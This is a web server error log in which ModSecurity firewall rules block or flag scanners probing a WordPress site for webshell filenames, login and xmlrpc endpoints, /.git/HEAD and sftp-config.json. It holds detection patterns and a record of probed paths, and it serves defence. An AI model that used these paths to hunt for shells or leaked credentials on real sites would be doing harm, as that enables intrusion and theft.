[Sun Mar 01 01:21:12.728746 2026] [proxy_fcgi:error] [pid 30798:tid 30917] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:12.944451 2026] [proxy_fcgi:error] [pid 30798:tid 30922] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:13.364245 2026] [proxy_fcgi:error] [pid 30798:tid 30902] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:13.575284 2026] [proxy_fcgi:error] [pid 30798:tid 30918] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:13.785204 2026] [proxy_fcgi:error] [pid 30798:tid 30907] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:13.995121 2026] [proxy_fcgi:error] [pid 30798:tid 30908] [client 20.220.13.5:60034] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 01:21:14.201533 2026] [:error] [pid 30798:tid 30921] [client 20.220.13.5:60034] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMkCsBkD73gO8wTonZmYgAAAJU"]
[Sun Mar 01 01:21:15.023665 2026] [:error] [pid 11920:tid 11944] [client 20.220.13.5:60094] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMkCyzLNJUKxvBorrCZ5wAAAZQ"]
[Sun Mar 01 01:21:15.857483 2026] [:error] [pid 11920:tid 11945] [client 20.220.13.5:60092] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMkCyzLNJUKxvBorrCZ8AAAAZU"]
[Sun Mar 01 01:21:16.695205 2026] [:error] [pid 53600:tid 53623] [client 20.220.13.5:60036] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaMkDA2UMRAYWtDB23TZBQAAARQ"]
[Sun Mar 01 01:52:20.159318 2026] [:error] [pid 30798:tid 30901] [client 152.42.236.91:56111] [client 152.42.236.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.236.91, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaMrVMBkD73gO8wTonaHzwAAAII"]
[Sun Mar 01 01:52:20.172028 2026] [proxy_fcgi:error] [pid 30798:tid 30901] [client 152.42.236.91:56111] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:14.023188 2026] [proxy_fcgi:error] [pid 11920:tid 11942] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:14.232876 2026] [proxy_fcgi:error] [pid 11920:tid 11925] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:14.441923 2026] [proxy_fcgi:error] [pid 11920:tid 11943] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:14.648749 2026] [proxy_fcgi:error] [pid 11920:tid 11939] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:14.858158 2026] [proxy_fcgi:error] [pid 11920:tid 11924] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:15.063872 2026] [:error] [pid 11920:tid 11933] [client 20.220.13.5:24694] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.13.5, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aaMvDyzLNJUKxvBorrDmRwAAAYk"]
[Sun Mar 01 02:08:15.278650 2026] [proxy_fcgi:error] [pid 11920:tid 11948] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:15.488922 2026] [proxy_fcgi:error] [pid 11920:tid 11935] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:15.701652 2026] [proxy_fcgi:error] [pid 11920:tid 11934] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:17.368864 2026] [:error] [pid 11920:tid 11943] [client 20.220.13.5:24694] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.13.5, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaMvESzLNJUKxvBorrDmVgAAAZM"]
[Sun Mar 01 02:08:17.373159 2026] [proxy_fcgi:error] [pid 11920:tid 11943] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:17.582316 2026] [proxy_fcgi:error] [pid 11920:tid 11939] [client 20.220.13.5:24694] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 02:08:17.796056 2026] [:error] [pid 11920:tid 11926] [client 20.220.13.5:24694] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMvESzLNJUKxvBorrDmXAAAAYI"]
[Sun Mar 01 02:08:18.647445 2026] [:error] [pid 11920:tid 11929] [client 20.220.13.5:24640] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMvEizLNJUKxvBorrDmaAAAAYU"]
[Sun Mar 01 02:08:19.488494 2026] [:error] [pid 30798:tid 30904] [client 20.220.13.5:24647] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMvE8BkD73gO8wTonaYpgAAAIU"]
[Sun Mar 01 02:08:20.316725 2026] [:error] [pid 11920:tid 11942] [client 20.220.13.5:24688] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMvFCzLNJUKxvBorrDmdgAAAZI"]
[Sun Mar 01 04:15:32.738203 2026] [proxy_fcgi:error] [pid 54626:tid 54636] [client 145.239.10.137:44110] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/wo.php
[Sun Mar 01 04:39:06.577042 2026] [:error] [pid 24576:tid 24599] [client 103.65.236.153:54625] [client 103.65.236.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aaNSaovfb5CnctJh073GbgAAARM"]
[Sun Mar 01 04:51:30.710266 2026] [:error] [pid 21263:tid 21273] [client 77.90.185.116:39172] [client 77.90.185.116] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aaNVUtAxjzLvN1upBhnJ6gAAAMY"]
[Sun Mar 01 05:11:11.133213 2026] [:error] [pid 21158:tid 21193] [client 20.220.13.5:58186] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaNZ7zriSIe3-pWnbPbcUAAAAEA"]
[Sun Mar 01 05:11:11.977725 2026] [proxy_fcgi:error] [pid 21158:tid 21200] [client 20.220.13.5:24987] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:11:12.406421 2026] [:error] [pid 21158:tid 21216] [client 20.220.13.5:24987] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aaNZ8DriSIe3-pWnbPbcWQAAAFc"]
[Sun Mar 01 05:11:13.249692 2026] [proxy_fcgi:error] [pid 24576:tid 24596] [client 20.220.13.5:25009] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:11:13.682598 2026] [proxy_fcgi:error] [pid 24576:tid 24602] [client 20.220.13.5:25009] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:11:14.527009 2026] [proxy_fcgi:error] [pid 24576:tid 24584] [client 20.220.13.5:25009] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:11:14.739021 2026] [proxy_fcgi:error] [pid 24576:tid 24586] [client 20.220.13.5:25009] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:11:14.947661 2026] [:error] [pid 24576:tid 24596] [client 20.220.13.5:25009] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaNZ8ovfb5CnctJh073wIAAAARA"]
[Sun Mar 01 05:11:15.804214 2026] [proxy_fcgi:error] [pid 24576:tid 24604] [client 20.220.13.5:24966] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:11:16.009123 2026] [:error] [pid 24576:tid 24582] [client 20.220.13.5:24966] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/lv.php"] [unique_id "aaNZ9Ivfb5CnctJh073wKgAAAQM"]
[Sun Mar 01 05:11:16.850516 2026] [proxy_fcgi:error] [pid 21158:tid 21193] [client 20.220.13.5:58178] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:11:17.265442 2026] [:error] [pid 21158:tid 21209] [client 20.220.13.5:58178] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/help.php"] [unique_id "aaNZ9TriSIe3-pWnbPbcXwAAAFA"]
[Sun Mar 01 05:11:18.109017 2026] [:error] [pid 21158:tid 21213] [client 20.220.13.5:58222] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/help.php"] [unique_id "aaNZ9jriSIe3-pWnbPbcYgAAAFQ"]
[Sun Mar 01 05:11:18.945260 2026] [:error] [pid 24576:tid 24598] [client 20.220.13.5:25007] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/help.php"] [unique_id "aaNZ9ovfb5CnctJh073wPwAAARI"]
[Sun Mar 01 05:11:19.788334 2026] [:error] [pid 21159:tid 21235] [client 20.220.13.5:58214] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/help.php"] [unique_id "aaNZ9-Li3ouy1NZIkgoeSQAAAI4"]
[Sun Mar 01 10:03:55.356821 2026] [proxy_fcgi:error] [pid 33539:tid 33547] [client 20.104.206.150:30663] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:03:55.568171 2026] [proxy_fcgi:error] [pid 33539:tid 33547] [client 20.104.206.150:30663] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:08.431216 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:08.641851 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:08.857521 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:09.068651 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:09.278231 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:09.488446 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:09.697405 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:09.911592 2026] [proxy_fcgi:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:04:10.117935 2026] [:error] [pid 21263:tid 21278] [client 20.104.206.150:30712] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaOemtAxjzLvN1upBhkJ1wAAAMs"]
[Sun Mar 01 10:04:19.160659 2026] [:error] [pid 33539:tid 33568] [client 20.104.206.150:30695] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaOeo9CsLwBYg4s018urkQAAAdY"]
[Sun Mar 01 10:04:19.865316 2026] [:error] [pid 33229:tid 33235] [client 20.104.206.150:30666] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaOeo3zT4c9ddlGE6FxF1wAAAYQ"]
[Sun Mar 01 10:04:20.613926 2026] [:error] [pid 33767:tid 33775] [client 20.104.206.150:30668] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configss.php"] [unique_id "aaOepEGyeKe3MWsxvBj-3gAAAgU"]
[Sun Mar 01 10:04:21.239461 2026] [:error] [pid 33229:tid 33235] [client 20.104.206.150:30673] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaOepXzT4c9ddlGE6FxF2gAAAYQ"]
[Sun Mar 01 10:04:21.890379 2026] [:error] [pid 33229:tid 33241] [client 20.104.206.150:30699] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaOepXzT4c9ddlGE6FxF3AAAAYo"]
[Sun Mar 01 10:04:22.640214 2026] [:error] [pid 33229:tid 33236] [client 20.104.206.150:30670] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaOepnzT4c9ddlGE6FxF3gAAAYU"]
[Sun Mar 01 10:04:23.314623 2026] [:error] [pid 24576:tid 24586] [client 20.104.206.150:30696] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aaOep4vfb5CnctJh0700bQAAAQc"]
[Sun Mar 01 10:04:24.048243 2026] [:error] [pid 33767:tid 33774] [client 20.104.206.150:30681] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaOeqEGyeKe3MWsxvBj-5AAAAgQ"]
[Sun Mar 01 10:04:24.685958 2026] [:error] [pid 24576:tid 24586] [client 20.104.206.150:30610] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaOeqIvfb5CnctJh0700bwAAAQc"]
[Sun Mar 01 10:04:25.236033 2026] [:error] [pid 33229:tid 33236] [client 20.104.206.150:30658] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaOeqXzT4c9ddlGE6FxF6gAAAYU"]
[Sun Mar 01 10:04:25.684363 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30703] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaOeqdCsLwBYg4s018uroQAAAc8"]
[Sun Mar 01 10:04:26.197059 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30708] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaOeqtCsLwBYg4s018urpgAAAc8"]
[Sun Mar 01 10:04:26.663631 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30711] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaOeqtCsLwBYg4s018urpwAAAc8"]
[Sun Mar 01 10:04:27.218923 2026] [:error] [pid 33229:tid 33239] [client 20.104.206.150:30676] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaOeq3zT4c9ddlGE6FxF7wAAAYg"]
[Sun Mar 01 10:04:27.738726 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30626] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaOeq0GyeKe3MWsxvBj-6wAAAgs"]
[Sun Mar 01 10:04:28.172580 2026] [:error] [pid 21263:tid 21270] [client 20.104.206.150:30647] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaOerNAxjzLvN1upBhkJ7gAAAMM"]
[Sun Mar 01 10:04:28.733288 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30592] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaOerHzT4c9ddlGE6FxF8wAAAYI"]
[Sun Mar 01 10:04:29.404715 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30678] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaOerUGyeKe3MWsxvBj-8gAAAgs"]
[Sun Mar 01 10:04:29.976360 2026] [:error] [pid 33229:tid 33239] [client 20.104.206.150:30664] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaOerXzT4c9ddlGE6FxF_gAAAYg"]
[Sun Mar 01 10:04:30.448645 2026] [:error] [pid 21263:tid 21291] [client 20.104.206.150:30684] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaOertAxjzLvN1upBhkJ9AAAANg"]
[Sun Mar 01 10:04:30.941110 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30701] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaOertCsLwBYg4s018ursQAAAdQ"]
[Sun Mar 01 10:04:31.376887 2026] [:error] [pid 21263:tid 21278] [client 20.104.206.150:30620] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaOer9AxjzLvN1upBhkJ9QAAAMs"]
[Sun Mar 01 10:04:31.950708 2026] [:error] [pid 33229:tid 33248] [client 20.104.206.150:30605] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaOer3zT4c9ddlGE6FxGBAAAAZE"]
